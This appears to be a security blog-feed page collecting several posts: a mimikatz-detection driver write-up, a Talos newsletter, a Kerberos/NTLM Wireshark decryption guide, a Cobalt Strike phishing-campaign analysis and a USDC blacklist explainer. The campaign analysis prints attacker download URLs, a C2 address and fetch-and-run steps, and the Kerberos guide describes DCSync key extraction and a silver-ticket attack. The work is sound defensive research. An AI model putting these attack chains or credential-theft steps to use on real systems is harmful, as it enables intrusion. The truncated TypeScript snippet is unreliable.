Putting the pieces together, if we can create an emulated HID device with one of the PID/VID values above and listen for the sequences that are sent by mimikatz, we can log those events. Possibly the most secure and portable way to do this would be to use a user-mode driver with low privileges to emulate the device and capture the sequences sent by mimikatz, and when an event happened (start, keep-alive or stop) we would invoke a function from a DLL.

There are multiple ways to do this, but the most user- and coder-friendly version was to use the HID Minidriver Sample from Microsoft’s Github [2], which was based on UMDF 2 (User Mode Driver Framework). Older UMDF versions could be used as well to implement the detection too, but for simplicity we stick to UMDF 2. KMDF (Kernel Mode Driver Framework) is also a possibility, but that would grant higher privilege level for our driver, since it would be in Kernel-space, which we do not require for this, neither want to increase the attack surface of the kernel by adding 3rd party modules.

Implementing changes seemed to be straightforward at this point, but as always it came with a few complications. In general the following things were changed in the sample source code:

  • Vendor and Product ID to match one of the mimikatz supported ones
  • HID Report Descriptor to match the device capabilities
  • The WriteReport() function to check the byte sequences that mimikatz sent and call a function from an external DLL that implements the required functionality

Offloading the functionality to an external DLL made sense, since we do not want to change the driver’s functionality all the time and redeploy it to the machine again and again. Also requirement from different clients could differ, by changing the DLL only would provide greater flexibility.

The Implementation & Usage

The implementation of the Proof-of-Concept driver and sample DLL can be found here: [3].

The Sample DLL shipped with this project is just a Proof-of-Concept that shows how the driver works. In case any of the three events triggered, one of the following functions will be called (ulPid is the Process ID of the process that triggered the event):

  • VOID start(ULONG ulPid)
  • VOID keepalive(ULONG ulPid)
  • VOID stop(ULONG ulPid)

The DLL is capable to log the event into the event log, to the debugger attached to WUDFhost.exe or send the log to a remote syslog server. In case a different event handling is required, that can be easily added to the DLL or it can be replaced easily.

In case the driver was signed with a trusted certificate, the installation is quite straightforward. The DLL needs to be copied into the system32 folder, so it cannot be modified by low-privileged users and the driver can be installed by Microsoft’s Device Console utility (devcon.exe).

After successful installation the following two devices will show up in Device Manager:

Figure 3 – Two devices added

Upon execution of mimikatz, no difference can be seen, and by listing the busylight devices one shows up:

Figure 4 – One compatible Busylight shown in the list

More importantly in the event log, the exact time of execution and termination can be found with keep-alive messages in every 5 seconds. The message also consist the Process ID of mimikatz for forensics purposes.

Figure 5 – Warnings in event log

Since the driver is implemented as a user-mode driver, it is running as NT AUTHORITY\LocalService, therefore with very limited privileges, therefore cannot be used to enumerate process related information. It is recommended to integrate this tool with EDR/SIEM related products to enhance its capability.

It would be also possible to use the driver as a kernel-mode driver to get more privileges, but as explained that would increase the attack surface of the OS.

The detection and limitations

As detailed, the PoC driver was implemented as UMDF 2 [4], which means it could be only used on Windows 8.1 or newer. Support for older operating systems could be done by porting the driver to UMDF 1 for example.

The detection of this PoC was tested against several publicly available mimikatz versions. (Un)fortunately Metasploit’s and Cobalts Strike’s mimikatz binaries were not compiled with the busylight module, therefore detection this way was not possible.

Tested variants:

  • Original version of Mimikatz since 8th of October 2015 (Detected)
  • Original compiled into DLL (Detected)
  • Original compiled into PowerShell (Invoke-Mimikatz) (Detected)
  • PowerSploit – Invoke-Mimikatz (Detected)
  • CrackMapExec – Invoke-Mimikatz (Detected)
  • Metasploit kiwi module (NOT Detected)
  • Cobalt Strike (NOT Detected)
  • Pypykatz (NOT Detected)


The busylight related method was the phase one for a longer research on alternative detection techniques against mimikatz. The full research (phase one and two) was presented on the following conferences:

Since the talk covered phase two as well, which was a research on sniffing ConDrv related IOCTLs and detecting mimikatz based on console communication, the code for both phases was open-sourced and can be found below:

Write-up for phase two is coming up soon.


[1] Revolutionary Device Detects Mimikatz Use – https://www.cobaltstrike.com/blog/revolutionary-device-detects-mimikatz-use/

[2] HID Minidriver Sample (UMDF version 2) https://github.com/microsoft/Windows-driver-samples/tree/master/hid/vhidmini2

[3] https://github.com/nccgroup/mimikatz-detector-busylight

[4] https://docs.microsoft.com/en-us/windows-hardware/drivers/wdf/umdf-version-history

Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server

30 September 2022 at 06:55
By: msrc
October 4, 2022 updates:Important updates have been made to the Mitigations section improving the URL Rewrite rule. Customers should review the Mitigations section and apply one of these updated mitigation options: Option 1: The EEMS rule is updated and is automatically applied. Option 2: The previously provided EOMTv2 script has been updated to include the …

Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server Read More »

Threat Source newsletter (Sept. 29, 2022) — Personal health apps are currently under a spotlight, but their warning signs have always been there

29 September 2022 at 18:00

By Jon Munshaw. 

Welcome to this week’s edition of the Threat Source newsletter. 

I’ve spent the past few months with my colleague Ashlee Benge looking at personal health apps’ privacy policies. We found several instances of apps that carry sensitive information stating they would share certain information with third-party advertisers and even law enforcement agencies, if necessary. 

One of the most popular period-tracking apps on the Google Play store, Period Calendar Period Tracker, has a privacy policy that states it will "share information with law enforcement agencies, public authorities, or other organizations if We’re [sic] required by law to do so or if such use is reasonably necessary. We will carefully review all such requests to ensure that they have a legitimate basis and are limited to data that law enforcement is authorized to access for specific investigative purposes only." 

A report from the Washington Post also released last week found that this app, as well as popular health sites like WebMD, “gave advertisers the information they’d need to market to people, or groups of consumers based on their health concerns.” 

To me — these were all things I had never considered before. I’m sure I’m not alone in just going to Google to type in “pain in left flank” or something along those lines to see if I’m dying or not. The research Ashlee and I did really make me rethink the type of information I’m inputting into apps on my phone, especially around my health. For example, I de-coupled the Google Fit tracking from my phone so it’s not just counting steps in the background. And I’ve switched to a privacy-focused browser on my personal computer at home (it doesn’t help that I’m also mad at Chrome for ending support for ad blockers).  

I’m actually mad at myself that it took me this long to think more critically about this topic. The research has always been out there. 

A 2018 study from Privacy International found that 61 percent of apps they tested immediately started sharing data with Facebook the instant a user opens the app  — this was at the peak of the discussion around the Cambridge Analytica/Facebook scandal. And the U.S. Federal Trade Commission filed a complaint against the Flo period-tracking app in January 2021 for misleading users about who it sends personal information to. 

We, collectively as a society, should have always been taking this issue more seriously. And the recent Supreme Court ruling in Dobbs v. Jackson Women's Health Organization is highlighting how personal data stored on apps could lead to legal consequences. The warning sides have always been there, but I think we were just too willing to trade in convenience in exchange for our privacy, thinking many of us have “nothing to hide.”  

The one big thing 

Insider threats are becoming an increasingly common part of the attack chain, with malicious insiders and unwitting assets playing key roles in incidents over the past year. This is becoming an increasing challenge for companies that now have remote workers all over the globe, many of whom may never come back to the office again. And if one of these employees leaves, it could leave some major security gaps. Over the past six months to a year, Talos has seen an increasing number of incident response engagements involving malicious insiders and unwitting assets being compromised via social engineering. 

Why do I care? 

Insider threats are different than “traditional” cyber attacks we think of because it’s not about a threat actor sitting in an entirely different country lobing malicious code at a network. It usually involves trying to socially engineer someone into unwittingly letting their guard down and providing access to a malicious user or giving up sensitive information in exchange for some money. This can seriously happen to anyone anywhere, increasingly so in the era of hybrid work. 

So now what?

Defending against these types of insider threats is difficult for a variety of reasons, but first and foremost, they typically are allowed to access the network and have valid login credentials. This is where traditional security controls like user and access control come into play. Organizations should limit the amount of access a user has to the minimum required for them to perform their job. 


Top security headlines from the week

Ukraine is warning that Russian state-sponsored actors are still targeting critical infrastructure with cyber attacks. The campaigns would likely be to “increase the effect of missile strikes on electrical supply facilities,” the Ukrainian government said. The warning also stated that the actors would also target Baltic states and Ukrainian allies with distributed denial-of-service attacks. Meanwhile, the U.S. continues to invest money into Ukraine’s cyber defenses and volunteer hackers continue to pitch in across the globe. (CyberScoop, Voice of America

U.K. police arrested a teenager allegedly involved in the recent Rockstar data breach, which included leaked information regarding the upcoming “Grand Theft Auto VI” video game. The suspect may have ties to the Lapsus$ ransomware group and have some involvement in another data breach against the Uber rideshare company. Lapsus$’s recent activities are vastly different from what APTs’ traditional goals are, usually related to making money somehow, instead opting to just seemingly want to cause chaos of the sake of it. These two major breaches highlight the fact that many major organizations have unaddressed vulnerabilities. (TechCrunch, Wired

A disgruntled developer leaked the encryptor behind the LockBit 3.0 ransomware, the latest in a line of drama with the group. The builder works and could allow anyone to build their own ransomware. The Bl00Dy ransomware gang has already started to use the leaked builder in attacks against companies. Bl00Dy has been operating since May 2022, first targeting medical and dental offices in New York. In the past, the group has also used leaked code from Babuk and Conti to build their ransomware payloads. They also claim to have a Tor channel they use to post leaks from affected companies if they do not pay the ransom. (The Record, Bleeping Computer

Can’t get enough Talos? 

Upcoming events where you can find Talos 


GovWare 2022 (Oct. 18 - 20)
Sands Expo & Convention Centre, Singapore 

Most prevalent malware files from Talos telemetry over the past week  

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
MD5: 93fefc3e88ffb78abb36365fa5cf857c  
Typical Filename: Wextract  
Claimed Product: Internet Explorer  
Detection Name: PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg  

MD5: 2c8ea737a232fd03ab80db672d50a17a     
Typical Filename: LwssPlayer.scr     
Claimed Product: 梦想之巅幻灯播放器     
Detection Name: Auto.125E12.241442.in02 

MD5: 10f1561457242973e0fed724eec92f8c   
Typical Filename: ntuser.vbe   
Claimed Product: N/A    
Detection Name: Auto.1A234656F8.211848.in07.Talos 

MD5: 8a5f8ed00adbdfb1ab8a2bb8016aafc1   
Typical Filename: RunFallGuys.exe 
Claimed Product: N/A 
Detection Name: W32.Auto:c326d1.in03.Talos 

MD5: 147c7241371d840787f388e202f4fdc1 
Typical Filename: EKSPLORASI.EXE 
Claimed Product: N/A  
Detection Name: Win32.Generic.497796 

Apple CoreText - An Unexpected Journey to Learn about Failure

29 September 2022 at 00:00
Late last year, I have focused my research on the CoreText framework for 2-3 months. In particular, the code related to the text shaping engine and the code responsible for parsing the AAT tables. During this research, I found an OOB (Out-Of-Bounds) Write in the morx table. This series of writeups is to document my whole process, from selecting this attack surface to finding the bug to writing an exploit for it in Safari.

Step-by-Step Walkthrough of CVE-2022-32792 - WebKit B3ReduceStrength Out-of-Bounds Write

8 September 2022 at 00:00
Recently, ZDI released the advisory for a Safari out-of-bounds write vulnerability exploited by Manfred Paul (@_manfp) in Pwn2Own. We decided to take a look at the patch and try to exploit it. The patch is rather simple: it creates a new function (IntRange::sExt) that is used to decide the integer range after applying a sign extension operation (in rangeFor). Before this patch, the program assumes that the range stays the same after applying sign extension.

Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark

I often use Wireshark to analyze Windows and Active Directory network protocols, especially those juicy RPC 😉 But I’m often interrupted in my enthusiasm by the payload dissected as “encrypted stub data”:

Can we decrypt this “encrypted stub data?” 🤔

The answer is: yes, we can! 💪 We can also decrypt Kerberos exchanges, TGTs and service tickets, etc! And same for NTLM, as I will show you near the end.

Wait, is that magic?

Wireshark is very powerful, as we know, but how can it decrypt data? Actually there’s no magic required because we’ll just give it the keys it needs.

The key depends on the chosen algorithm (RC4, AES128, AES256…) during the Kerberos exchange, and they derive from the password (this is simplified but you didn’t come here to read the Kerberos RFC, right? 🤓).

My preferred method to get the Kerberos keys is to use mimikatz DCSync for the target user:

You’ll directly notice the AES256, AES128, and DES keys at the bottom, but what about the RC4 key? As you may have guessed, it’s simply the NT hash 😉

Just remember that modern Windows environments will likely use AES256 so that’s what we’ll target.

Keep tabs on the keys

Kerberos keys are commonly stored in “keytab” files, especially on Linux systems. By the way, if you find a keytab during a pentest, don’t forget to extract its keys because you’ll be able to create a silver ticket against the service, as I once did (see below ️⬇️️), or access other services with this identity.

Clément Notin on Twitter: "#Pentest success story:1. Steal .keytab file from a Linux server for a webapp using Kerberos authentication🕵️2. Extract Kerberos service encryption key using https://t.co/itX7S337o03. Create silver ticket using #mimikatz🥝 and pass-the-ticket4. Browse the target5. Profit!😉 pic.twitter.com/yI9yfoXDrb / Twitter"

Pentest success story:1. Steal .keytab file from a Linux server for a webapp using Kerberos authentication🕵️2. Extract Kerberos service encryption key using https://t.co/itX7S337o03. Create silver ticket using #mimikatz🥝 and pass-the-ticket4. Browse the target5. Profit!😉 pic.twitter.com/yI9yfoXDrb

So it’s no surprise that Wireshark expects its keys in a keytab too. It’s a binary format which can contain several keys, for different encryption algorithms, and potentially for different users.

Wireshark wiki describes how to create the keytab file, using various tools like ktutil. But the one I found the most convenient is keytab.py, by Dirk-jan @_dirkjan Mollema, who wrote it to decrypt Kerberos in his research on Active Directory forest trusts. I especially like that it doesn’t ask for the cleartext password, just the raw keys, contrary to most other tools.

First, download keytab.py (you don’t even need the entire repo). Additionally, install impacket if you have not already done so.

Then, open the script and edit lines 112 to 118 and add all the keys you have (in hexadecimal format) with the number corresponding to their type. For example, as we said, most of the time AES256 is used, corresponding to type 18.

The more keys you have, the better 🎉 If you are hesitant, you can even include the RC4 and AES256 keys for the same user. As Dirk-jan comments in the code, you can include the “krbtgt” key, “user” keys (belonging to the client user), “service” keys (belonging to the service user), and even “trust” keys (if you want to decrypt referral tickets in inter-realm Kerberos authentications). You can also add “computer account” keys to decrypt machines’ Kerberos communications (machine accounts in AD are users after all! Just don’t forget the dollar at the end when requesting their keys with DCSync). You don’t need to worry about the corresponding username or domain name in the keytab; it doesn’t matter for Wireshark.

Finally, run the script and pass the output filename as argument:

$ python keytab.py keytab.kt

Back to Wireshark


Now that you have the keytab, open the Wireshark Preferences window, and under Protocols, look for “KRB5”.

Check “Try to decrypt Kerberos blobs” and Browse to the location of the keytab file you just generated.

Decrypt Kerberos

Now you can try opening some Kerberos exchanges. Everything that is properly decrypted will be highlighted in light blue. Here are a couple examples:

AS-REQ with the decrypted timestamp
AS-REP with the decrypted PAC (containing the user’s privileges, see [MS-PAC])
TGS-REP with its two parts, including the service ticket, both containing the same session key

⚠️ If you notice parts highlighted in yellow it means that the decryption failed. Perhaps the corresponding key is missing in the keytab, or its value for the selected algorithm was not provided (check the “etype” field to see which algorithm is used). For example:

👩‍🎓 Surprise test about Kerberos theory: can you guess whose key I provided here, and whose key is missing?

Answer: We observe that Wireshark can decrypt the first part which is the TGT encrypted with the KDC key, but it cannot decrypt the second part which is encrypted with the client’s key. Therefore, here the keytab only contains the krbtgt key.

Decrypt other protocols

Do you remember how this all began? I wanted to decrypt RPC payloads, not the Kerberos protocol itself!

And… it works too! 💥

Quick reminder first, the same color rule applies: blue means that decryption is ok, and yellow means errors. If you see some yellow during the authentication phase of the protocol (here the Bind step) the rest will certainly cannot be decrypted:

Here are some examples where it works, notice how the “encrypted stub data” is now replaced with “decrypted stub data” 🏆

It also works with other protocols, like LDAP:

workstation checking if its LAPS password is expired, and thus due for renewal

Additional tips

A modified keytab file does not take effect immediately in Wireshark. Either you have to open the Preferences, disable Kerberos decryption, confirm, then re-open it to re-enable it, which is slow and annoying… Or the fastest I’ve found is to save the capture, close Wireshark and re-open the capture file.

What about NTLM? Can we do the same decryption if NTLM authentication is used? The answer is yes! 🙂

In the Preferences, scroll to the “NTLMSSP” protocol, and type the cleartext password in the “NT Password” field. This is described in the Wireshark NTLMSSP wiki page where I have added some examples. Some limitations contrary to Kerberos: you need the cleartext password and it must be ASCII only (this limitation is mentioned in the source code) so it is not applicable to machine account passwords, and you can only provide one at a time, contrary to the keytab which can hold keys for several users.


I hope these tips will help you in your journey to examine “encrypted stub data” payloads using Wireshark. This is something that we often do at Tenable when doing research on Active Directory, and I hope it will benefit you too!

Protocols become increasingly encrypted by default, which is a very good thing… Therefore, packet capture analysis, without decryption capabilities, will become less and less useful, and I’m thankful to see those tools including such features. Do you know other protocols that Wireshark can decrypt? Or perhaps with other tools?

Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

New campaign uses government, union-themed lures to deliver Cobalt Strike beacons

28 September 2022 at 12:12
By Chetan Raghuprasad and Vanja Svajcer.
  • Cisco Talos discovered a malicious campaign in August 2022 delivering Cobalt Strike beacons that could be used in later, follow-on attacks.
  • Lure themes in the phishing documents in this campaign are related to the job details of a government organization in the United States and a trade union in New Zealand.
  • The attack involves a multistage and modular infection chain with fileless, malicious scripts.

Cisco Talos recently discovered a malicious campaign with a modularised attack technique to deliver Cobalt Strike beacons on infected endpoints.

The initial vector of this attack is a phishing email with a malicious Microsoft Word document attachment containing an exploit that attempts to exploit the vulnerability CVE-2017-0199, a remote code execution issue in Microsoft Office. If a victim opens the maldoc, it downloads a malicious Word document template hosted on an attacker-controlled Bitbucket repository.

Talos discovered two attack methodologies employed by the attacker in this campaign: One in which the downloaded DOTM template executes an embedded malicious Visual Basic script, which leads to the generation and execution of other obfuscated VB and PowerShell scripts and another that involves the malicious VB downloading and running a Windows executable that executes malicious PowerShell commands to download and implant the payload.

The payload discovered is a leaked version of a Cobalt Strike beacon. The beacon configuration contains commands to perform targeted process injection of arbitrary binaries and has a high reputation domain configured, exhibiting the redirection technique to masquerade the beacon's traffic.

Although the payload discovered in this campaign is a Cobalt Strike beacon, Talos also observed usage of the Redline information-stealer and Amadey botnet executables as payloads.

This campaign is a typical example of a threat actor using the technique of generating and executing malicious scripts in the victim's system memory. Defenders should implement behavioral protection capabilities in the organization's defense to effectively protect them against fileless threats.

Organizations should be constantly vigilant on the Cobalt Strike beacons and implement layered defense capabilities to thwart the attacker's attempts in the earlier stage of the attack's infection chain.

Initial vector

The initial infection email is themed to entice the recipient to review the attached Word document and provide some of their personal information.

Initial malicious email message.

The maldocs have lures containing text related to the collection of personally identifiable information (PII) which is used to determine the eligibility of the job applicant for employment with U.S. federal government contractors and their alleged enrollment status in the government's life insurance program.

The text in the maldoc resembles the contents of a declaration form of the U.S. Office of Personnel Management (OPM) which serves as the chief human resources agency and personnel policy manager for the U.S. federal government.

Contents of maldoc sample 1.

Another maldoc of the same campaign contains a job description advertising for roles related to delegating development, PSA plus — a prominent New Zealand trade union — and administrative support for National Secretaries at the Public Service Association office based out of Wellington, New Zealand. The contents of this maldoc lure resemble the legitimate job description documents for the New Zealand Public Service Association, another workers' union for New Zealand federal employees, headquartered in Wellington.

Contents of maldoc sample 2.

PSA New Zealand released this legitimate job description document in April 2022. The threat actor constructed the maldoc to contain the text lures to make it appear as a legitimate document on May 6, 2022. Talos' observation shows that the threat actors are also regular consumers of online news.

Attack methodologies

Attack methodologies employed by the actor in this campaign are highly modularised and have multiple stages in the infection chain.

Talos discovered two different attack methodologies of this campaign with a few variations in the TTPs', while the initial infection vector, use of remote template injection technique and the final payload remained the same.

Method 1

This is a modularised method with multiple stages in the infection chain to implant a Cobalt Strike beacon, as outlined below:

Summary of attack method 1 infection chain.

Stage 1 maldoc: DOTM template

The malicious Word document contains an embedded URL, https[://]bitbucket[.]org/atlasover/atlassiancore/downloads/EmmaJardi.dotm, within its relationship component "word/_rels/settings.xml.rels". When a victim opens the document, the malicious DOTM file is downloaded.

Contents of settings.xml.rels of maldoc.

Stage 2: VBA dropper

The downloaded DOTM executes the malicious Visual Basic for Applications (VBA) macro. The VBA dropper code contains an encoded data blob which is decoded and written into an HTA file, "example.hta," in the user profile local application temporary folder. The decoded content written to an HTA file is the next VB script, which is executed using the ShellExecuted method.

Stage 2 VBA dropper.

Stage 3 VB script

The third-stage VBS structure is similar to that of the stage 2 VB dropper. An array of the encoded data will be decoded to a PowerShell script, which is generated in the victim's system memory and executed.

Stage 3 VB script.

Stage 4 PowerShell script

The PowerShell dropper script executed in the victim's system memory contains an AES-encrypted data blob as a base64-encoded string and another base64-encoded string of a decryption key. The encoded strings are converted to generate the AES encrypted data block and the 256-bit AES decryption key. Using the decryption key, the encrypted data generates a PowerShell downloader script, which is executed using the PowerShell IEX function.

Stage 4 PowerShell script.

Stage 5 PowerShell downloader

The PowerShell downloader script is obfuscated and contains encoded blocks that are decoded to generate the download URL, file execution path and file extensions.

The following actions are performed by the script upon its execution in victim's system memory:

  1. The script downloads the payload from the actor controlled remote location through the URL "https[://]bitbucket[.]org/atlasover/atlassiancore/downloads/newmodeler.dll" to the user profile local application temporary folder.
  2. The script performs a check on the file extension of the downloaded payload file.
  3. If the payload has the extension .dll, the script will run the DLL using rundll32.exe exhibiting the use of sideloading technique.
  4. If the payload has an MSI file extension, the payload is executed using the command
    "msiexec /quiet /i <payload>".
  5. If the payload is an EXE file, then it will run it as a process using the PowerShell commandlet
  6. Upon running the payload, the script will hide the payload file to establish persistence by setting the "hidden" file system attribute of the payload file.

During our analysis, we discovered that the downloaded payload is a Cobalt Strike DLL beacon.

Stage 5 PowerShell downloader.

Method 2

The second attack method of this campaign is also modular, but is using less sophisticated Visual Basic and PowerShell scripts. We spotted that, in the attack chain, the actor employed a 64-bit Windows executable downloader which executes the PowerShell commands responsible for downloading and running the Cobalt Strike payload.

Summary of attack method 2 infection chain.

Stage 1 maldoc: DOTM template

When a victim opens the malicious document, Windows attempts to download a malicious remote DOTM template through the URL "https[://]bitbucket[.]org/clouchfair/oneproject/downloads/ww.dotm," which was embedded in its relationship component of the file settings.xml.rels."

Contents of settings.xml.rels of maldoc.

Stage 2 VB script

The DOTM template contains a VBA macro that executes a function to decode an encoded data block of the macro to generate the PowerShell downloader script and execute it with the shell function.

Stage 2 VB script.

Stage 3 PowerShell downloader

The PowerShell downloader command downloads a 64-bit Windows executable and runs it as a process in the victim's machine.

Stage 3 PowerShell downloader.

Stage 4 downloader executable

The downloader is a 64-bit executable that runs as a process in the victim's environment. It executes the PowerShell command, which downloads the Cobalt Strike payload DLL through the URL "https[://]bitbucket[.]org/clouchfair/oneproject/downloads/strymon.png" to the userprofile local application temporary directory with a spoofed extension .png and sideloads the DLL using rundll32.exe.

Stage 4 downloader EXE.

The downloader also executes the ping command to the IP address 1[.]1[.]1[.]1 and executes the delete command to delete itself. The usage of ping command is to instill a delay before deleting the downloader.


Talos discovered that the final payload of this campaign is a Cobalt Strike beacon. Cobalt Strike is a modularised attack framework and is customizable. Threat actors can add or remove features according to their malicious intentions. Employing Cobalt Strike beacons in the attacks' infection chain allows the attackers to blend their malicious traffic with legitimate traffic and evade network detections. Also, with its capabilities to configure commands in the beacon configuration, the attacker can perform various malicious operations such as injecting other malicious binary into the running processes of the infected machines and can avoid having a separate injection module implants in their infection chain.

The Cobalt Strike beacon configurations of this campaign showed us various characteristics of the beacon binary:
  • C2 server.
  • Communication protocols.
  • Process injection techniques.
  • Malleable C2 Instructions.
  • Target process to spawn for x86 and x64 processes.
  • Watermark : "Xi54kA==".
Cobalt Strike beacon configuration sample.

The Cobalt Strike beacon used in this campaign has the following capabilities:
  • Executes arbitrary codes in the target processes through process injection. Target processes described in the beacon configuration related to this campaign include:
    "%windir%\syswow64\dllhost.exe -o enable"

    "%windir%\sysnative\getmac.exe /V"

  • A high-reputation domain defined in the HostHeader component of the beacon configuration. The actor is using this redirector technique to make the beacon traffic appear legitimate and avoid detection.

Malicious repository

The attacker in this campaign has hosted malicious DOTM templates and Cobalt Strike DLLs on Bitbucket using different accounts. We spotted two attacker-controlled accounts "atlasover" and "clouchfair" in this campaign: https[://]bitbucket[.]org/atlasover/atlassiancore/downloads and https[://]bitbucket[.]org/clouchfair/oneproject/downloads.

During our analysis, the account "atlasover" was live and showed us the hosting information of some of the malicious files in this campaign.

Attacker-controlled bitbucket repository.

Talos also discovered in VirusTotal that the attacker operated the Bitbucket account "clouchfair," using the account to host two other information stealer executables, Redline and Amadey, along with a malicious DOTM template and Cobalt Strike DLL.

Command and control

Talos discovered the C2 server operated in this campaign with the IP address 185[.]225[.]73[.]238 running on Ubuntu Linux version 18.04, located in the Netherlands and is a part of the Alibaba cloud infrastructure.

Shodan search results showed us that the C2 server contained two self-signed SSL certificates with the serial numbers 6532815796879806872 and 1657766544761773100, which are valid from July 14, 2022 - July 14, 2023.

SSL certificate associated with the C2 servers.

Pivoting on the SSL certificates disclosed another Cobalt Strike C2 server with the IP address 43[.]154[.]175[.]230 running on Ubuntu Linux version 18.04 located in Hong Kong, which is also part of Alibaba cloud infrastructure and more likely is operated by the same actor of this campaign.


Ways our customers can detect and block this threat are listed below.
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort Rule 60600 is available for this threat.

The following ClamAV signatures have been released to detect this threat:


The IOC list is available in Talos' Github repo here.

How Circle Banned Tornado Cash Users

28 September 2022 at 09:00

Tornado Cash is an open-source, decentralised cryptocurrency mixer. Using zero-knowledge proofs, this mixes identifiable funds with others, obscuring the original source of the funds. On 08 August 2022, the U.S. Office of Foreign Assets Control (OFAC) banned the Tornado Cash mixer, arguing that it had played a central role in the laundering of more than $7 billion.

The USD Coin (USDC) is a centralised digital currency that can be used for online payments. The issuer of the USDCs – the Circle company – guarantees that every digital coin is fully backed by actual U.S. dollars, with the value of one USDC pegged to an actual U.S. dollar. Following the ban, the Circle company started to freeze addresses linked with the Tornado Cash mixer.

This article does not aim to address any political views or opinions but rather to present an interesting case study on how this was technically achieved. We can seize this opportunity to investigate several basic but key concepts of Ethereum and Ethereum-based blockchains. For simplicity, in this article we will primarily focus on Ethereum.

Understanding ERC-20 Tokens

With Ethereum, tokens are handled by smart contracts – simple and short programmes stored on the blockchain that can be called via transactions. The smart contract is then responsible among other things for handling users’ transactions or storing owners’ balances.

A standard ABI (Application Binary Interface) for manipulating tokens called ERC-20 (Ethereum Request for Comments 20) was released to ease interoperability, and is described in the Ethereum Improvement Proposals (EIP) 20. The USDC follows that standard.

ERC-20 specifications are fairly short. To be a valid ERC-20 token, the deployed smart contract must simply implement the following functions:

  • totalSupply()
  • balanceOf(account)
  • allowance(owner, spender)
  • approve(spender, amount)
  • transfer(recipient, amount)
  • transferFrom(sender, recipient, amount)

It must also implement the following events:

  • Transfer(from, to, value)
  • Approval(owner, spender, value)

The USDC token

To understand how the USDC was implemented we only need the smart contract address and its source code, published by Circle:

There is a subtlety here but we will not go into detail. The source code for the real ERC-20 API for USDC can be retrieved from a proxy contract, which can be found at the following address:

You can check OpenZeppelin’s Unstructured Storage proxy pattern for more information. In short, using a proxy contract is a convenient way to manage upgrades.

The totalSupply() function

The totalSupply() function is pretty much self-explanatory and can be used at any time to find out how many tokens were minted in total.

Open Etherscan and search for the USDC contract address. Go to the “Contract” tab next to “Transactions”, “Internal Txns” and “Erc20 Token Txns”. Then click on the “Read as Proxy” button and scroll down the list to “totalSupply”.

At the time of writing, this was 42039807469599550 and with the decimal 42,039,807,469.599550 USDC. ERC-20 tokens can freely implement a decimals() function which is set to 6 here. Because we only “read” from the blockchain, these operations are free.

The transfer() Function

In order to send an ERC-20 token to another address, one would need to send a transaction to the transfer() function with the recipient address and the number of tokens to send as arguments. To make things easier we will only discuss here how a transaction is sent to a full Ethereum node and skip the part where it is actually added to the blockchain.

Let us examine how the transfer() function was implemented. The released code is written in Solidity. This is mostly straightforward, and not necessary to know in order to understand the following.

You can see notBlacklisted(msg.sender) and notBlacklisted(to) on lines 867 and 868. These are function modifiers, similar to Python’s decorators, and they wrap the function underneath.

The source code of the modifier is quite explicit. In Solidity, require() is a control function in which the initial parameter must be set to true, otherwise the transaction is reverted. Here the _account address is checked against the blacklisted mapping which is simply a hash table. It can be accessed with a key, i.e. the address, and it returns a value. If the address is not in the mapping, 0 is returned.

The value msg.sender is the address issuing the transaction, and to is the recipient. If none of these addresses are found in the blacklisted mapping, the _transfer() function is called and the transaction is enabled.

The blacklisted mapping is filled using the blacklist function.

Similarly, the onlyBlacklister() modifier protects unauthorised blacklisting of addresses.

TransferFrom() and Approve() functions

The transferFrom() function is very similar to the transfer() function and is mostly used by smart contracts to transfer tokens on your behalf. In theory it is possible to send tokens directly to a smart contract using transfer() and then call the desired function. However, this requires two transactions and the smart contract would have no idea about the first one.

The solution is to grant a smart contract access to transfer a limited or unlimited amount of tokens. This is achieved using the approve() function.

Following approval, the transferFrom() function can be called.

Both functions are of course covered by the notBlacklisted() modifier.

How to check whether an address is blacklisted

Now that we understand how Circle can block token transfers, we can play with the smart contract to determine whether an address is banned. For the demo we will use Vitalik’s, one of the Ethereum’s founders, wallet address.

The smart contract exports a function called isBlacklisted; all we need to do is to call it with the desired address.

Below is a small TypeScript piece of code that does exactly that:

import "dotenv/config";
import { ethers } from "ethers";

const USDC_PROXY_ADDRESS = "0xB7277a6e95992041568D9391D09d0122023778A2";
const VITALIK_WALLET = "0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B";

const isBlacklisted = async (
   usdcContract: ethers.Contract,
   address: string
) => {
   const ret = await usdcContract.isBlacklisted(address);
   console.log(`Wallet ${address} is ${ret ? "" : "not"} blacklisted.`);

const main = async () => {
   const provider = new ethers.providers.JsonRpcProvider(

   const usdcContract = new ethers.Contract(
      ["function isBlacklisted(address _account) view returns (bool)"],

   await isBlacklisted(usdcContract, VITALIK_WALLET);

Full code is available here.

$ ts-node src/isblacklisted.ts
Wallet 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B is not blacklisted.

Vitalik’s wallet is safe!

Or we could simply ask Etherscan again.

How to find all blacklisted addresses

We know how to check whether a single address was banned, but how can we retrieve all blacklisted addresses? Unfortunately for us, transactions are not indexed in the Ethereum blockchain and it is not possible to simply list the content of the mapping.

An important point here! Mapping cannot be used to store any secret. Anyone with a copy of the blockchain can retrieve all transaction data.

